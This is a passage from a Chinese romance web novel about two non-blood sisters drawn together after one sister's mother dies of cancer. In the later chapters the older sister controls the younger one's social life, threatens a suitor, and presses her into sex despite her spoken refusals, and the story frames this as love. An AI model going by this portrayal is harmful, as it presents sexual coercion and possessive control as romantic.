楼下客厅苏青沅带着小跳跳在办公,听见门口的动静,微微怔了一下,起身走到门口。 锁孔转动的瞬间,门从里面开了。 苏青沅看着她站在门口,半边额角都湿透了,身上的裙子也湿了大半,她伸手牵她进来,把雨伞扔在门口。 “怎么不打电话让我去接你?”回身找了一条干毛巾,苏青沅替她擦着身上的雨水。 苏青荷顶着湿漉漉的眼睛,抬头喊了她一声:“姐……” 苏青沅看着她眼里的破碎与陌生,心里有一刻的心疼,她还是没有舍得对她无情,道:“好了,过去的事情就让它都过去吧,我也没有真对你生气,那天,是我话说重了。” 苏青荷委屈地眼泪掉下来,她呜咽着问:“姐,你要把妈妈送到哪里去,我求求你,可不可以不要把她送走?” 苏青沅微愣了下,这才反应过来她的意思,反问道:“你以为我送走她,是为了逼迫你?” 苏青荷流泪不语。 苏青沅看着她,只有些灰心,道:“康苑只是私人医院,有许多化疗方面的设备和医生都并不专业,我已经联系了A市最好的专业医院,明天一早替她办理住院。难道,你以为我会拿她的生命来威胁你,是么?在你眼里,我是个不堪的小人,是么?” 苏青荷眼泪渐止,这才明白过来自己误会了她。 她低头道歉:“对不起……” 苏青沅已经没有精力再和她争执辩解什么了,她们之间,相比从前,总是太容易爆发冲突。 那晚,她也不过是气急了,才会说出那些话。 苏青沅伸手替她擦眼泪,“好了,不说了,身上头上都湿了,去洗个澡吧,不要感冒了。” 说着猫咪忽然跑过来,大约是认得苏青荷身上的气味,也不怕生,一直嗅她的鞋子。 苏青沅低头看着它,说:“今晚不走了,我明早送你去医院。小跳跳想你了。”说完又接了一句,“我也很想你。” 她们已经有太久没有见面了,自从八月里马来回来后,就一直没有见,连着两次都是以冲突争吵结束。 一切都不是苏青沅的本意,她想她,爱她,只是想她时时刻刻都陪在自己的身旁,她不想因为任何无关的人和事,影响她们之间的感情和关系。 这世上,没有任何一个人,可以分割她们。 深夜,小跳跳被关在门外。 苏青沅不喜欢它留在房间里,也更不喜欢它爬到床上来。现在还小,等到大了就会掉毛,到处都是毛,她不喜欢。 姐妹面对面相拥,苏青荷贴在她的怀里,苏青沅下颌抵在她的额头,她轻轻吻她刘海下的肌肤,温柔地说:“荷荷,我从来都没有舍得让你伤心难过,在我心里,你永远都是我最珍贵的,我可以失去一切,唯独不能失去你。” 苏青荷听着她的心跳,耳边这些话,像无数颗小石子砸进她的心上,泛起涟漪。她紧紧抱住她,闭着眼睛埋进她的怀里,似乎只有这样,她才可以忘记与摆脱一切恐惧和不安。 “姐,妈妈会死吗?” 苏青沅伸手抚她的头发,说:“不管发生什么,我都会陪在你身边,姐姐永远都不会离开你,不要你。” 苏青荷眼眶一点点潮湿酸涩,她不知道自己该怎么办,她像是一下子失去了所有的依托。从知道自己不是苏家女儿的那一刻开始,她不是苏青荷,苏青荷也不是她,失去父亲,失去姐姐,现在连母亲也要失去……她像漂浮在虚无的世界里,找不到一个可以攀附的根,她知道,自己失去了全世界。 可是只有姐姐要她,她不顾一切地抓住她,告诉她,永远不会离开她。 她是她所有安全感的源头,只要放弃那些禁锢住的认知,她就可以毫不犹豫地扑进她的怀里。 这样的依恋,无关爱情,无关亲情,苏青荷知道,她只是无法离开姐姐。 学校医院两头跑,苏青荷失去了快乐和无忧的权利。 李曾素化疗的效果并不是很好,苏青荷看着她一点点的消减,不住地呕吐,发烧,吃不进东西,短短两个月不到,她几乎瘦的不成人形。 苏青荷不知道自己还能坚持多久,她看着躺在那里一句话说不出的人,母亲几乎连她都不认得了,这样的折磨和痛苦,她甚至想就在此刻结束。 圣诞前夕,李曾素终于好了很多,像是回光返照,她能坐起来了,看着苏青荷还会咿咿呀呀地说些什么,尽管没人听得懂,但是所有人都看得出来,李曾素只认得苏青荷。 苏青荷坐在她面前,替她擦手心,头顶上忽然传来一句含糊不清的“荷荷,荷荷……” 苏青荷一愣,抬头看她。 李曾素伸起手心要碰她,苏青荷以为她要什么,忙抓住她,“妈妈,你要什么?” 李曾素只是艰难地喊着她荷荷,指尖碰触她的脸,苏青荷隐约感受到妈妈要对她说什么,可是她说不出来。 “妈妈,你要对我说什么?”苏青荷泪眼含眶,颤声问她,“你舍不得我,是不是?” 李曾素流下眼泪,手指伸着,替苏青荷擦眼泪,苏青荷伤心欲绝,她拉住妈妈的手,上前把她抱在怀里。 人生有一种遗憾,临到生命的最后一刻,苏青荷也不知道妈妈要对她说什么。她与妈妈的缘分太浅,只有短短十八年,她们之间没有血缘的牵绊,可是妈妈依旧是这个世界上最疼爱她的人。 又或许,无论妈妈要说什么,也都变得不再重要。 她只知道,妈妈爱她,她心里唯一放不下、舍不得的,只有自己。 成为妈妈的小孩,是她生命里最幸运的事情。 十二月二十七日,上午九点半,苏青荷在学校接到医院的电话,妈妈去世。她匆忙赶到医院,连最后一面也没有见到。 她站在太平间外,无数人来来往往,整个世界仿佛都是虚无不真实的。 没有人把她带来这个世界,她与这个世界唯一的牵绊只有母亲,可是现在母亲离开了,她就成了没有妈妈的小孩。 苏青沅也匆忙从公司赶到医院,她满眼寻找那道身影,终于在走廊尽头看见她,长长的昏暗过道里,只有她站在那里,一瞬间仿佛像是被整个世界抛弃。 苏青沅心痛地走过去,走到她的身后,伸手抱住她,“荷荷不怕,姐姐在,姐姐在这里。” 苏青荷浑身缩瑟着颤抖,眼泪无声滑落,双眸空洞绝望地整个人滑下去,终于承受不住,嚎啕大哭。 第24章 A市的冬季正式来临,三十号的夜里下了一场小雪,连呼吸间都带着冷冽。 李曾素在一天后下葬,埋在了兴平公墓。 苏青荷一直在山上待到了天黑,迟迟不肯离开。 苏青沅看着她落了满身的雪,额前的头发全都湿了,鼻头发红,脸颊也冻得僵了。她心疼地蹲下来,劝她:“荷荷,回去好么,你这样素姨走得不会安心的。” 苏青沅伸手捧住她的脸庞,不住地替她擦眼泪,“你还有我,荷荷,你不会一个人,这世上永远有我陪着你,你不要害怕,我们是一体的,永远都不会分离。” 苏青荷抬头看她,泪水冰冷得像刀,她心口疼得无法呼吸,抽噎地啜泣说:“可是我好想她,姐,我真的很想妈妈,我从来没有觉得,我会这样想她,我总是不来陪她,她其实心里都知道,只是她说不出来,现在她走了,我再也见不到她了。” 苏青沅将人拥入怀中,眼眶不由湿润,她贴在她额间,低低地应她:“我知道,我都知道,可是荷荷,人生有些事情,无法强求,生命消逝了,就只能这样,我们都无能为力。” 深夜大雪肆虐,整个世界都是冰冷一片,这一刻,她们前所未有地靠近在一起,或许是因为在这个世上,她们都失去了所有的亲人,彼此就成了对方生命里仅剩的唯一。 悲伤和苦痛让她们彼此靠得更近,苏青沅无法失去苏青荷,同样的这一刻,苏青荷也明白过来,自己也一样无法失去姐姐。 开车回到家,苏青沅替她换下潮湿的衣服,抱她进浴室洗澡,苏青荷微愣,“我自己洗。” 苏青沅不容她拒绝,拦腰抱起她,声音温柔:“我替你洗。” 洗了澡又洗头,苏青沅替她穿上睡衣,抱她坐在旁边,站在身前替她吹头发。 浴室里水汽氤氲,苏青荷垂着头,感受到头顶上吹风机的热风,还有她手指的拨弄。 头发终于吹干,苏青荷感受到整具身体都是热腾的,脸是热的,耳朵也是热的,苏青沅双手捧住她的脸,低头喊她:“荷荷……” 苏青荷下意识应了她一声,仰起头与她相望。 “我抱你睡觉,好不好?” 苏青荷看着她温柔的眼神,温热的手掌托在她脸颊上,像是整个人也被她包裹住了,她嗯了一声,声音微微沙哑,道:“好。” 深夜凌晨,窗外风雪肆虐。 她们彼此相拥,苏青荷埋在她怀里,忍不住哭泣,她贪恋她的温柔,贪恋她的气息,她颤抖着喊她:“姐……” “姐姐在这里。” “我其实从来没有恨过你。” 苏青沅微愣,她喉间酸涩住,把下颌抵在她头顶,嗯了一声,声音苦涩地应她:“我知道。” “我不恨你,我比所有人都爱你,我说很多过份的话,其实只是因为我害怕,我不知道自己在怕什么,可我还是害怕,姐,我不想离开你。” 苏青沅声音哽咽,“我知道。” 苏青荷隐忍着啜泣,她不想头顶上的人听见,又往她怀里蹭了蹭,拱进她的颈窝里,呜咽道:“姐,你抱抱我。” “好,姐姐抱着你。”苏青沅紧紧拥抱住她,低头吻她的眉心,鼻梁,亲吻一点点下移,她捧住她的脸,要吻她的唇。 苏青荷躲开,终于抑制不住颤抖哭出声,苏青沅指尖触到湿润,她用力地捧过她的脸庞,让她看着自己,指腹蹭去她的泪水,告诉她:“荷荷,不要排斥我的靠近,你不要害怕,没有你想象中的那样可怕,你不需要面对什么,把一切都交给我,就算天会塌下来,有我替你挡住,你要做的,只是完完全全地依赖我,我不需要你为我付出什么,所以,不要害怕,好么?” 苏青沅轻轻低头,吻上苏青荷颤抖的唇瓣。 舌尖滚烫,与她相缠。 苏青荷闭上眼睛,只觉得耳边轰隆,仿佛一下子沉溺深海,像她在仙本那那次,她掉进海里,几乎快要窒息一样。 一月中旬,A大开始放寒假,英文系期末考试比别的系早了几天,所以放寒假也是最早的一批。 今年A市的冬天比以往都更冷,一连下了好几场的大雪,整座城市都被白雪覆盖。 苏青荷宿舍里的东西都拿回去的差不多了,只剩下最后一些不常用的生活用品,放假前最后一天,就全都打包带回了家。 李萦纤知道她这半学期里发生了许多的事情,也知道她有一个姐姐叫苏青沅,她姐姐对她很好,每天早上都会来送她上学,她们家离A大不远,所以住在家里,比在宿舍要方便舒服很多。 只不过,李萦纤还是有些舍不得她。 下午考完最后一场英语口语,李萦纤看见苏青荷回来收拾东西,哀叹道:“以后我就没人一起吃晚饭,一起上晚自习了。” 苏青荷轻笑,“我又不是不来学校了,每天我都能见到你,还不够么?” 李萦纤站起身,拉住她的胳膊,说:“我要是家住附近就好了,我也回家住。哎,青荷,我好羡慕你,你有一个这么好的姐姐,她对你真的是太好太好了。” 苏青荷轻轻垂眸,这几个月来,她一直都住在家里,姐姐每天来接送她上学下课,她们一起穿梭在这银装素裹的城市里,像回到从前的从前。 这年冬天,并没有想象中那样冷。 李萦纤忽然说:“对了,协会社团今晚有个活动,反正放假了,大家聚在一起乐一乐,还有别的社团的人来玩,青荷,你来吗?” 苏青荷想起英语协会社团,她还是小部长,因为妈妈做手术,她一连缺席了好多天,也不免有些抱愧。 “绮绮和秋安呢,她们在吗?” 李萦纤哭丧着脸说:“就是因为她们不在,我才想你和我一起嘛,她们买的高铁票中午就回家了,我没买上,明天下午才走,青荷,你就陪我一起去吗,我一个人特无聊。” 苏青荷说:“那行吧,几点钟啊,在什么地方?” 李萦纤道:“不远,就我们学校不远那个朝家KTV,她们想唱K来着,社长请客。” 苏青荷想了想,晚上也没什么事情,姐姐今晚也大概率还是加班,她答应说:“好,我先回家一趟,看一下我的小跳跳,晚上我联系你。” 李萦纤笑着说:“好好好,那你先回去,对了,再给我多拍一点小跳跳的照片,我真的特别喜欢它。” 李萦纤也很喜欢猫咪,知道苏青荷新养了一只猫,天天翻她的相册,云吸猫。 苏青荷笑:“知道了。哪天,我把它带出来和你玩。” “这可是你说的!” 话音刚落,手机叮铃铃响起声音,是李萦纤的手机,屏幕上显示映映。 苏青荷笑,知道是她女朋友给她打电话了,她道:“行了,你们聊吧,我先走了。” 到了楼下,才发现苏青沅没有来,只有徐琦在门口等她,看见她忙招手喊道:“荷荷这边。” 苏青荷走过去,问:“姐姐呢?” 徐琦:“你姐临时有个会,差不多四点多才能结束,没法过来,就让我来接你了。怎么样,东西都搬完了吗,还有没有,有的话我上去搬。” 苏青荷拖着一个大箱子,说:“没了,就剩这些了。” 徐琦接过她的箱子,搬上了车,一边抱怨说:“A大就这样,都多少年了,我刚大一的时候就说给我们换宿舍,换单间淋浴,到现在你们这届都没换,真是驴年才能改造。” 徐琦也是A大毕业的,比苏青沅还早两届。苏青沅当初招她做私人助理,也是有同*校的情份在。 “姐姐工作很忙吗?”苏青荷从来没了解过她的工作。 徐琦关上车后备箱,说:“也还好,最近年底么,也正常的。她说今天会早点下班,带你去吃饭。” 苏青荷忙想起来,对徐琦说:“我今天没有时间和她吃饭了,我晚上社团同学有聚餐,估计要晚一点回去。” 徐琦说:“好,那我待会和她说一声。” 不远处公告牌底下,站着两个人,其中一个就是上回那个在苏青荷楼下喊住她的沈思雪。 沈思雪手里拿着矿泉水瓶,瞥见校门口的两道身影,愣了一下,问:“那个是……苏青荷女朋友?” 一旁朋友顺着视线看过去,认出来说:“不是,那是她姐苏青沅的助理,我认得。之前我在苏氏集团实习过两月,见过苏青沅,就是你上回拍照给我看的那个人。” “你确定没看错么?” “错不了,那辆车我还认识呢,就是苏青沅常开的那辆。能开走她车的,只有那个叫徐琦的助理。” 沈思雪远远看着校门口外的身影,沉吟了许久,肩膀耸开旁边人放在她身上的手,道:“晚上联谊,你别跟着我了。” —— 徐琦送她回到家,就开车去了公司。 苏青沅会议在四点钟结束,出来后问徐琦有没有接到荷荷。 徐琦如实告诉她,又说了苏青荷晚上社团联谊的事情。 苏青沅愣了下,难得早下班,又逢她放假,本来想带她出去吃饭的。 她点头嗯了一声,没说什么,回到办公室,又给苏青荷回了一个电话。 电话接通。 “晚上学校有安排?” 苏青荷在家里收拾东西,听着电话里的声音,嗯了一声说是。 “是什么联谊活动?” 苏青荷愣了下,开口道:“不是联谊,就是我们英语系里的社团,都认识的。” 大学里有个共识,凡是挂名联谊之类的活动,都是奔着找人认识谈恋爱去的。 苏青沅知道,荷荷在学校里是受欢迎的,她长得漂亮,还是漂亮里少有的那一类,所以从小到大不论什么时候,也都不缺追求者。 只不过,她就选择了乔楠这一个人。苏青沅也不得不承认,自己实在嫉妒,她也不明白,乔楠为什么会在她心里占据位置,直至此刻,她也无法笃定,乔楠究竟在她心里算什么,占据多少份量。 她没有勇气开口问。 她能做过的,好像就只有,用尽一切方式和手段,去引诱她的荷荷。 或许有那么一点卑劣的意思在,可这是苏青沅能够想得到的唯一一种办法。 苏青沅背朝着站在办公大楼的落地窗前,听见电话听筒里的声音,轻声问:“荷荷,你在向我解释?” 苏青荷微怔住,心跳忽然在一瞬间加快,略有些慌乱,“我不和你说了,我挂了。” “等一等。”苏青沅知道她禁不起逗弄,又忙追着问,“你几点回来?” 苏青荷抿住唇,说:“还不确定。” “那结束了打电话告诉我,我去接你。” 苏青荷踌躇,最后道:“好。” 第25章 苏青沅又在公司加了一会班,直到天黑才开车回家。夜晚高峰有些堵车,车停在马路红灯处,她看向窗外,路口对面有一家在营业的花店,鬼使神差地,她又把车开到拐弯的道上,去了那家花店。 花店主人是一个三四十左右的年轻女人,正在店里摆弄新到的玫瑰,听见门外有人进来,一回头看见是个气质极佳的美女,笑着问:“你好,有什么需要的吗?” 店里花的品种太多,苏青沅一时挑花了眼,红灿灿黄澄澄的,她也不记得,荷荷最喜欢的是什么花。 店主见她没决定好,就问道:“是要送给什么人呢?” 苏青沅想了一下,说:“女朋友。” 店主笑着拿起手边的玫瑰,说:“红玫瑰她喜欢吗,正好刚刚到了一批高原红,还很新鲜,成色也很漂亮。” 苏青沅看了眼,是火红的颜色,玫瑰向来代表爱情。 “那就它吧。” “十一支怎么样,代表一心一意。小香风目前很受欢迎。” 苏青沅:“可以。” 老板娘的手很巧,很快包装好一束精致的玫瑰花束,周围是香槟金色的一圈装饰。 苏青沅付钱后,抱着花束离开。 回到家,家里没有人,空旷漆黑的客厅,她开灯走到桌旁,把玫瑰摆放在桌子上。 过了片刻后,又觉得太过明显。她待会回来一进门抬头就看见,好像有些刻意。 于是,苏青沅又把花放进卧室。 过了一会还是觉得不好,又想起荷荷回来后一定会去看小跳跳,不如放到另一个屋里。 洗完澡出来,苏青沅想了半天,忽然想起小跳跳会不会把花弄坏,于是忙又开门去查看,果然看见小跳跳爬上架子,不住地嗅着花上的气味。 苏青沅以为它真要咬花,忙上前驱赶:“去去去……” 说着就抱着花出门,想了半天,还是决定放客厅。 既然要送,为什么不光明正大。她爱荷荷,送一束花,不是很正常的事情么,这样想着,苏青沅就理所应当地把花摆在了客厅最显眼的位置。 这样等荷荷一回家,抬头就能看见。 近九点钟,苏青沅一直没有等到荷荷的电话。她主动拨过去,但是电话一直显示正在通话中,没有接通。 她忘记问她们聚会的地点了。苏青沅想了半天,又换衣服出门,开车去她们学校附近碰碰运气。 晚九点半,朝家KTV。 一行有十几二十来个人,一开始苏青荷以为只有英语协会社团的人,后来才发现,还有其他一些不认识的学姐学长。其实这就是联谊,是她理解错了意思。 不住地有人唱歌,李萦纤几乎一直就没下来,一大半的歌都是她唱的。 苏青荷唱歌跑调,所以向来不喜欢唱歌,但被李萦纤缠着就唱了一首老歌。之后就一直坐在旁边的角落,听着李萦纤唱,又给她拍照。 后来大家又喝了不少的酒,度数不算高,但苏青荷酒量不怎么样,就喝了一小杯,一两小时后,也不免有些头晕烧心。 快散场的时候,李萦纤去洗手间。手机没电了,苏青荷想起来要给姐姐打电话,又怕她联系不到自己,就急忙出去找充电宝。 好容易在前台门口看见有充电槽,找了一圈才发现充电宝都被借光了。 “手机没电了吗?我这里有个充电宝。”身后突然传来一道声音。 苏青荷一愣,回头看,见是那个叫沈思雪的学姐。两个月前在宿舍楼下,要跟她搭讪的人。 她今天也在,苏青荷也是后来才注意到。 怕姐姐给她打电话,苏青荷无法只得接过,道谢说:“谢谢学姐,我充几分钟打个电话就够了。” 沈思雪笑着说:“没关系的,我不需要用,你带回去吧,下一次有时间再还我就好了。” 手机开机,苏青荷就看到了手机上有两个未接来电,还有几条信息。 她急忙回过去,那头也很快接通。 “姐,我这边结束了,我手机没有电关机了,才看见。” 电话里那头苏青沅开车已经快到她学校附近了,苏青荷说了地点,苏青沅知道那个地方,道:“好,我一会就过来。” 挂断电话,沈思雪笑问:“上一回,在宿舍楼下的那个人,是你姐吧?” 苏青荷微怔,想起是两月前那一回。她牵唇嗯了一声,没有多说什么。 “你姐对你挺好的,那回,她是不是以为我是坏人?”沈思雪笑着调侃,视线一直落在一旁苏青荷的脸颊上,她今晚喝了一点酒,脸颊上不由晕染起一点酡红,衬托她肌肤如雪。 苏青荷很漂亮,是她见过所有女孩里最漂亮的,她身上有一种软糯的气质,眉眸低垂的时候,很像乖乖女。 那天早上在食堂,沈思雪第一次见到她的时候,就注意到她了,她也才知道,外语系还有这么一个人。她比廖瑶要漂亮得多。 “青荷,你有女朋友吗?”沈思雪忽然凑近过来,轻轻开口笑说,“我喜欢你。” 苏青荷吓了一跳,她身上有浓重的酒气,给人的感觉也太轻浮。她把充电宝拽出来,转身还给她,低头说:“谢谢学姐的充电宝,我,我姐马上就来了,我先走了。” 说完,苏青荷急忙往外走。 沈思雪见她逃离开,拿着怀里的充电宝,又忙跟上前去。 她早已打听过了,苏青荷没有谈恋爱,也没有女朋友。整个外语系也有不少人追她,但是都没有听说过她在和谁交往。 苏青荷出了电梯到楼下,又想起来忘记和李萦纤说了。外面刮风,晚上气温骤降,一下变得很冷。 她站在门口等苏青沅,身后的人忽然也跟了出来,沈思雪走到苏青荷身旁,伸手要抱她,“青荷,我是真的很喜欢你。” 苏青荷吓住,皱眉挣开她,急急拒绝道:“对不起学姐,你喝多了。” 说完她又往路边走,沈思雪不依不饶地喊住她:“我没有开玩笑,青荷,和我交往好不好,我保证我会对你很好很好,你想要什么,我都会给你买……” 李萦纤在楼上没有找到人,就下楼了,一出大门口就看见前面的苏青荷,还有旁边纠缠着她的沈思雪。 她刚要赶过去,却忽然路口有一辆车急刹车停在路口,随后有个女人从车上下来,径直走过去,将苏青荷拉着护在了身后。 她停住脚,站在不远处。 苏青沅开车到KTV,还没有到门口,远远就看见了人,也看见了上一回宿舍楼下的那个女生。 见她拉住荷荷,她急忙将车停在路口,下车冲过去。 沈思雪又看见了苏青沅,见她和上一次一样,脸色铁青难看,一时有些忐忑。 苏青沅冷冷盯着眼前的人,目光里满是怒意。片刻后,她回头看向身后的人,声音轻轻:“去车里等我。” 苏青荷看了看她,又瞥了一眼沈思雪,说好,转身离开。 一旁李萦纤见状,连忙冲过去。 苏青沅重新对上沈思雪,语气冷冽地开口:“我警告你,离苏青荷远一点。如果你再敢纠缠她,我不会放过你。” 沈思雪被人当众给了难堪,一时恼羞成怒,气得发笑:“你就是她姐姐又怎么样,你凭什么剥夺苏青荷谈恋爱的权利?!” 苏青沅要走,听见她这话,又回过头来,看着眼前妆容劣质,满身风尘气的女人,目光像淬了冰一样冷,道:“我是她姐姐,所以有权利决定她的任何事,包括她和谁谈恋爱,至于你这种货色,我们荷荷还看不上。” “你——”沈思雪气急败坏,被怼得哑口无言。 一旁苏青荷还站在路边车旁,李萦纤和她告别,说:“那青荷,我回去了,你也早点休息。” 苏青荷不放心她,说:“我们送你回去吧。” 李萦纤看见苏青沅走过来,忙摆手说:“不用不用,就穿过一个路口,我走过去就行了。” 苏青荷:“那你到宿舍给我发一个信息。” “嗯嗯好。” 苏青沅走到车旁,替她拉开车门,道:“上车吧。” 苏青荷见她脸色有些微的不好,没有说话,转身上了车。 一路上无言,气氛有些紧张。 苏青荷主动对她解释:“我也不知道那个学姐今晚也在……” “她常骚扰你么?”苏青沅开着车,目视着前方问。 苏青荷忙说:“没,自从上回那一次,我就没见过她了。” 苏青沅放下心来,沉默了好一会儿,才说:“以后不要参加这种活动了。” 苏青荷自知是自己的不是,她也没有想到会发生这样的事情。其实是她和李萦纤太单纯,不晓得这种聚会活动里的弯弯绕绕。 苏青沅道:“大学里的社团,九成都是没什么意义的,纯粹是浪费时间,至于这种还要挪到校外的聚会,就不要参加了。” 苏青荷抿着唇,低头说:“我知道了。” “我没有怪你的意思,只是怕你上当。” “我知道。”苏青荷手指拉着安全带,转头看向她,轻声问,“你生气了吗?” 苏青沅微怔,视线落在窗外前面的车流里,听出这话里有一点要哄人的意思,她故意问:“如果我说我生气了,你预备怎么样?” 苏青荷愣了下,她只是随口一问,却没有想到她会这样说。 她收回视线,不肯再和她说话。 苏青沅没有等到她接下去的话,心底微微有些失落。她像永无休止的单箭头,永远一点点的回应都得不到。 不知道怎么,她这一刻忽然就想起乔楠来。或许她见到的荷荷,是她这十几年来都不曾见过的。 这样的荷荷,她拥有的并不完整。 第26章 彼此一路无言,到家门口,手机忽然响起一道信息声音。 苏青荷低头看见,是李萦纤发来的。 她说:【我今天忘记和你说了,沈思雪就是那个和廖瑶在一起的学姐,但是听她们说分手了,这个人不是很好,你要注意】 苏青荷跟着人开门进屋,一抬头瞥见客厅桌上摆着的玫瑰花,她愣了下,停站在玄关处。 给李萦纤回了一条信息。 【好,我知道了。】 关掉手机,她弯下腰换鞋,心情微微有些忐忑。 苏青沅要上楼,苏青荷喊住了她,问:“花,是你买的吗?” 苏青沅站在台阶上停住,没有回头,只说:“不是,公司客户送的,扔了挺可惜,就带了回来。” 说完,也没有再停留,直接就上楼回了房间。 苏青荷站在楼下,抿住唇,隐约察觉出来,姐姐在生气。 不是在生那个沈思雪的气,是生她的气。 苏青荷垂眸,一时有些不知所措,她走到客厅桌旁,去看那束玫瑰花。 很漂亮精致的玫瑰花束,上面还有一张手写卡片,写着:你是我的唯一。 认不出来是谁的字,大约是店家统一手写的。 苏青荷捧起那束花,凑近了低头闻了一闻,淡淡的玫瑰香气,很清新。 “喜欢么?”头顶忽然传来一道声音。 苏青荷愣了下,捧着花忙抬头,看见不知什么时候又从房间里出来的人,此刻正站在二楼栏杆旁,居高临下低头看着她。 苏青荷沉默。 苏青沅又问了一遍:“喜欢么?” 苏青荷道:“喜欢。” “那就上来吧。”苏青沅看着她的脸庞,又补了一句,“跳跳想你了。” 哪里是跳跳想,分明是她想她。 苏青荷看着她转身回了房间,她踌躇了下,低下头重新看怀里的玫瑰。 她知道,其实没有客户,这是她故意买给她的花。 从跳跳屋里出来,推开门进卧室,床上的人已经睡着了。她背朝着外,房间还留着灯。 苏青荷没有说话,拿了睡衣去浴室洗澡。洗完澡出来,她站在床边犹豫了一会儿,然后轻轻靠着床边躺下。 刚睡下去,身后就有具柔软的身体贴上来,苏青沅伸手搂过她的腰,从后抱她将她拥进怀里,唇瓣贴在她颈后,细细地吻着,轻声问:“为什么离我那么远?” 苏青荷闭眼皱了皱眉,颈上忽然被尖齿轻轻咬了一下。 “为什么不说话?” 苏青荷吃痛,气息不由变乱,略有些慌张地回答她:“没,没有。” “看着我。”苏青沅轻轻命令。 苏青荷心跳加快,在她怀里一点点转过来面对她,刚洗了澡,眼眶还有些湿漉漉,脸庞也是凉的。 苏青沅指尖轻托她的下颌,低头吻她的唇,舌尖相缠,静谧的房间里,只剩下这道让人暧昧脸红的接吻声。 苏青荷被她吻的无法呼吸,舌尖被她咬住,她今晚大约真的生气,一直在咬她,苏青荷吃痛地喊她:“姐……” 苏青沅放开了她,睁开眼看她,问:“喝酒了么?”她尝出来一点的苦涩的味道。 苏青荷眼睛湿润,如实说:“只喝了一点。” 苏青沅:“以后我不在,你不许在外面喝酒。” 苏青沅见她不说话,又再次命令道:“听到了么?” 苏青荷心里满是忐忑,答应道:“知道了。” 苏青沅搂住她的腰,将她整个人托起来,转了个身从自己身上抱到了另一边,指尖摸上她的睡衣里的肩带,知道她又把内衣穿上了。指尖隔着睡衣,她慢条斯理勾着那肩带,轻轻地问她:“月经结束了吗?” 苏青荷心跳如擂鼓,昏暗的房间里,她不敢抬头,声音有些慌张的发颤,她急声说:“没,还没有。” 苏青沅抱着她没有动,漆黑里睨着她的轮廓,知道她在骗她。 今天应该是第十天,她的经期,她比她还要清楚。 她依旧还是排斥她。 “荷荷,吻我。”苏青沅盯着她的眼睛,忽然不容置喙地命令她。 苏青荷愣住了,她失神地心跳怦怦。从十八岁那天开始,她们之间,所有的亲密都全是苏青沅主动,她从挣扎到被迫承受,却从来都没有主动过。 她想的只有逃离,没有一刻想过,她要永远维持这样的关系。 苏青荷转身要逃离,苏青沅知道她不愿意,可是她今天忽然不愿意迁就她。 人永远贪心,平淡的时光过得太久,她不知道究竟是不是真的是这样的。 她真的拥有她么? 苏青沅有时候不敢想这样的问题,偶然间的失落与回避,她都知道,只是她不愿意承认而已。荷荷其实从来不爱她。 无非是自欺欺人,她不曾得到一个完整的身心都属于她的荷荷,同样的,荷荷也不曾公平地对待过她。 她早已是她排除在外的人,不论何时何地,她都早已失去公平的资格。 指尖攀扯掉扣搭,腾地一下松开了,苏青荷浑身颤栗住,感受到那指尖像火,瞭起她所有的恐惧。 腰腹上肆虐,一点一点游往深处。 “不,不要姐……”苏青荷声音发颤,手攥起拳抵在她身前,声音里蒙上了一层哭腔。 苏青沅贴住她的脸,停住所有的动作,轻轻哄她:“吻我,好么,荷荷,就算是我祈求你的。” 苏青荷早已慌不择路,失去所有的理智和思考,她不知道自己是害怕,还是为这句话而心疼,指尖攥着她的睡衣,她闭上眼睛托唇就吻上她。 她试图以此让那只手停下来,可不知是她自己会错了意,还是又掉进了她的圈套里。 这个吻,像是一个开关,开启了今夜前所未有的一场情.事。 吻过来的一瞬间,苏青沅失了神,她像欣喜,又像无措,她紧紧搂住了她,将她整个托了起来,让她在上。 苏青荷覆在她身上,几乎直不起腰,眉头深深蹙起,被迫承受着。 几乎到凌晨,苏青沅抱着她,指尖在深处,依旧感受到怀里的人在缩瑟着颤抖。 她要她的次数并不多,可食髓知味,苏青沅贪恋她的一切,她也能够感受到,荷荷也并不是无动于衷,年轻的身体,太容易有反应。或许身体的反应不由人控制,这样的亲近,她们彼此都在这一刻沦陷了。 折腾到太晚,第二天将近快十一点,苏青沅才先醒过来。 她看见怀里的人依旧还在熟睡着,或许是太过温暖,她像袋鼠一样挂在她身上,脸颊粉扑扑的好看,泛着健康的红润色泽,今日天气好,阳光顺着窗帘缝隙漏进来,照在她的脸庞上,迎光照出脸上细微的绒毛。 苏青沅有些爱不释手地望着她,一刻也不愿与她分离,这是属于她的荷荷,这样的荷荷,她怎么可能舍得拱手让与她人呢。 她伸出手,指腹轻碰过去,想蹭了蹭她柔软粉嫩的脸颊,眸光忽然瞥见被泡的几乎起皱的指腹,又一时失笑地停住。 轻轻拉开她,苏青沅准备起来给她做早餐,怕吵醒她,只轻轻地抓起的手。 苏青荷依旧在沉睡中,柔软的热源忽然离她而去,她本能地又往前攀住她,不肯让她离去。 苏青沅无奈地勾唇笑,想喊醒她,可最后还是没有忍心,想让她再多睡一会。 难得的寒假,今天又是第一天。 苏青沅轻轻抽离出她的怀抱,转身轻手轻脚下床,脚尖碰地,不小心踩住了东西,她低头一看,是荷荷的内衣。 藕粉色的那件,还是那回她给她买的,都快要半年了,也没有换。 她弯腰拾起来,看着尺寸似乎又不合适了。 应该再带她去买几件新的了。 十一点半,苏青沅喂了跳跳,又给它铲了猫砂,换上新的。 十一点四十七,她才推门进卧室,见人还没有醒,她倾身单膝跪在床边,轻声喊她:“荷荷,荷荷……” 苏青荷迷迷糊糊睁眼,望见头顶上的一张漂亮脸庞,有些没反应过来,她发了好大的一个怔,半晌没有反应。 苏青沅看着她呆住的神情实在可爱,不由笑问:“怎么了,傻了么?” 记忆一点点爬进脑子里,苏青荷望着她,耳根悄悄变红,她扯着被子,慢慢把自己脑袋蒙住。 苏青沅忍着笑意,伸手扯了扯,“和姐姐有什么害羞的,又没有别人,饿不饿,想吃什么,我做了面,还没有煮,起来先洗个澡吧,要不要我替你洗?” 苏青荷蒙在被子里,嗡声急忙说:“不要。” 苏青沅笑容一直没有停,她看着她,宠溺道:“好,那你自己洗,我不逗你了。今天天气很好,难得放假有时间,快到年底了,我们今天去逛商场,好不好?” 苏青荷没肯应她,只用被子把自己蒙住不看她。 苏青沅知道她这会儿害羞,也没有再缠磨下去,只笑着轻轻起身,出了房间。 听见房门关上的声音,苏青荷才一点点从被子里露出脸庞,捂得有些不透气,脸颊憋得通红,头发也乱糟糟地浮在眼睛上。 她落寞地躺在那里,眼睫眨巴了两下,拼命地什么都不肯想,可昨晚的记忆,还是像海水一样涌进来,她避无可避。 失神地望着头顶的天花板,她发了好一会的呆,最后才坐起身。 被子滑到胸口,她抓着被沿,低头瞥见白腻的肌肤上星红点点,宛若冬雪红梅。 